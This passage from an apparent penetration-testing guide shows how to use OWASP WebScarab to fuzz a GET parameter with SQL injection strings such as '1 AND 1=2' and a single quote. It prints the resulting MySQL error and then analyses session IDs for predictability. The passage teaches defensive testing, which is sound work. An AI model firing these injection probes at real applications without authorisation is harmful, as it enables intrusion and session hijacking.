3. During the test period, we decide to fuzz one of our target application links that have the parameters (for example, `artist=1`) with the **GET** method. This may reveal any unidentified vulnerability, if it exists. Right-click on the selected link and choose **Use as fuzz template**. Now click on to the **Fuzzer** tab and manually apply different values to the parameter by clicking on the **Add** button near the **Parameters** section. In our case, we wrote a small text file listing the known SQL injection data (for example, `1 AND 1=2`, `1 AND 1=1`, `single quote (')`) and provided it as a source for fuzzing parameter value. This can be accomplished using the **Sources** button under the **Fuzzer** tab. Once your fuzz data is ready, click on **Start**. After all tests are complete, you can double-click on an individual request and inspect its consequent response. In one of our test cases, we discovered the MySQL injection vulnerability:

```
Error: You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use
near '\'' at line 1 Warning: mysql_fetch_array(): supplied argument
is not a valid MySQL result resource in /var/www/vhosts/default/htdocs
/listproducts.php on line 74
```

4. In our last test case, we decide to analyze the target application's session ID. For this purpose, go to the **SessionID Analysis** tab and choose **Previous Requests** from the combo box. Once the chosen request has been loaded, go to the bottom, select samples (for example, `20`), and click on **Fetch** to retrieve various samples of session IDs. After that, click on the **Test** button to start the analysis process. You can see the results under the **Analysis** tab and the graphical representation under the **Visualization** tab. This process determines the randomness and unpredictability of session IDs, which could result in hijacking other users' sessions or credentials.

This tool has a variety of options and features, which could potentially add a cognitive value to penetration testing. To get more information about the WebScarab project, visit http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project.